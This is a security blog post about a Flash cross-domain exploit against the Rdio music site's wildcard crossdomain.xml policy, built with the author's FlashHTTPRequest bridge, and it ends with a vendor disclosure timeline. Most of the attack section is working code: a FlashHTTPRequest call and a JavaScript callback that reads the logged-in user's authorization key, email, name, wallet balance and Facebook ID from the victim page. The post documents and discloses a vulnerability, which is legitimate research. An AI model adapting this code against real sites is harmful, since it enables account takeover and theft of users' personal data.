Building An Rdio Flash Cross-domain Exploit with FlashHTTPRequest (crossdomain.xml Security)
Adobe Flash is no stranger to security issues, but this post isn’t about stack overflows, bypassing ASLR, or sandbox escaping – it’s about building practical exploits against poor use of crossdomain.xml.
For those unfamiliar with cross-domain policies in Flash, check out my previous post here. I’ve also built a nice tool for testing cross-domain requests in Flash which can be found here.
Say a site has done the unspeakable and set their cross-domain policy to a wildcard. They’re completely compromised but now you have to write ActionScript to get a practical exploit going.
Gross. Have you ever written AS3?
In order to avoid ever having to write ActionScript exploits again, I’ve created FlashHTTPRequest. FlashHTTPRequest works as an easy to use bridge for making Flash requests with JavaScript. Instead of writing lengthy ActionScript programs you can just write a simple line like the following:
FlashHTTPRequest.open('GET', 'http://www.rdio.com/', '', 'getAuthToken' );
The arguments are GET/POST for the HTTP method, the URL you wish to request, the request body, and finally the JavaScript callback name.
You’ll notice that Rdio’s website was used in the above example script, this is intentional as Rdio (at the time of this draft) has a wildcard cross-domain policy:
<cross-domain-policy> <allow-access-from domain="*" secure="false"/> <allow-http-request-headers-from domain="*" headers="*"/> </cross-domain-policy>
That’s a big no-no, but it provides a great example for using FlashHTTPRequest to make a working proof of concept exploit!
To give a bit of background on how Rdio works, almost all the information you’d need is embedded in the JavaScript on the main page. Here’s an excerpt:
Env = { VERSION: {"version": "9c1d79c9aaaba37f3c29ea00debd8b2af6d87637"}, currentUser: {"productAccess": [{"mobile_devices": [{"product": "stations", "limits": ["limited_skips", "no_superhigh_bitrate", "ads", "dmca"]}], "web": [{"product": "on_demand", "limits": ["ads", "no_superhigh_bitrate"]}, {"product": "stations", "limits": ["ads", "no_superhigh_bitrate"]}], "name": "free", "ce_devices": [{"product": "stations", "limits": ["limited_skips", "no_superhigh_bitrate", "ads", "dmca"]}], "aether": [{"product": "stations", "limits": ["limited_skips", "no_superhigh_bitrate", "ads", "dmca"]}]}], "subscriptionType": 1, "has_twitter": false, "features": {"recommendations_page": true, "music_feed": true, "listenertracking_oldcountries": true, "mobile_aac_settings": true, "vdio_user_specific_hr": true, "facebook_landing_new": true, "newton_trending_network": true, "racoon_dragndrop": true, "student_discount" ...trimmed...
All user information can be found under Env.currentUser variable which is in the global scope for the Rdio page. So, let’s extract it!
In order to extract this information we’ll do a dirty hack, our “getAuthToken” function looks like the following:
function getAuthToken( response ) { document.getElementById( 'rdio' ).innerHTML = response; // We're going to write the response from FlashHTTPRequest into an iframe so the JavaScript will eval var ifrm = document.getElementById( 'rdio' ); ifrm = (ifrm.contentWindow) ? ifrm.contentWindow : (ifrm.contentDocument.document) ? ifrm.contentDocument.document : ifrm.contentDocument; ifrm.document.open(); ifrm.document.write(response); ifrm.document.close(); var rdioFrame = window.frames[0].window; // Since the frame is now within our origin we can reference the Env variable and pull it into our current namespace rdio_env = window.frames[0].window.Env; // Set the forms on the page to the extracted data document.getElementById( 'key' ).value = rdio_env.currentUser.authorizationKey; document.getElementById( 'name' ).value = rdio_env.currentUser.firstName + " " + rdio_env.currentUser.lastName; document.getElementById( 'email' ).value = rdio_env.currentUser.email; document.getElementById( 'profile_link' ).value = "http://rdio.com" + rdio_env.currentUser.url; document.getElementById( 'register_date' ).value = rdio_env.currentUser.registrationDate; document.getElementById( 'profile_image' ).src = rdio_env.currentUser.icon500; document.getElementById( 'wallet_amount' ).value = rdio_env.currentUser.rdioWalletAvailableBalance.amount; document.getElementById( 'facebook_id' ).value = "https://www.facebook.com/" + rdio_env.currentUser.facebookId; }
The above code takes the response from FlashHTTPRequest as a parameter and writes it to an iframe on the page. This gives us a nice sandbox that won’t pollute our own namespace but still allows us to access it’s content from the same origin. We then reference the from with window.frames and pull the Env variable into our page’s namespace. Just like that we’ve extracted all the user info in a JavaScript object that we can manipulate how we want. The impact is easily shown and we didn’t have to write a single line of ActionScript!
The final proof of concept can be seen below, please not this is for educational purposes only and should NOT be used to attack actual Rdio users:
Proof of concept video:
If you’d like to build your own Flash exploit with FlashHTTPRequest, get it here!
Rdio Disclosure Timeline
- February 26, 2015 – Initial report of wildcard cross domain sent, report was forwarded to the engineering team.
- March 9, 2015 – An update on progress was requested by me as no changes had been made to the site. Due to the high severity of the issue I state that I will be disclosing in two weeks for the safety of Rdio users.
- March 11, 2015 – Response received stating that the cross-domain policy is working as intended and requesting more information about why it’s an issue.
- March 12, 2015 – I responded with a much more detailed explanation of how this can be used to take over an Rdio account. They respond same day saying that much of that is intended but the authorizationKey value being extracted is definitely a security issue. They state the issue is high priority and will have a fix in a few days.
- March 24, 2015 – Site is still vulnerable, I request an update on progress (ignored).
- September 22, 2015 – Given up on responsible disclosure.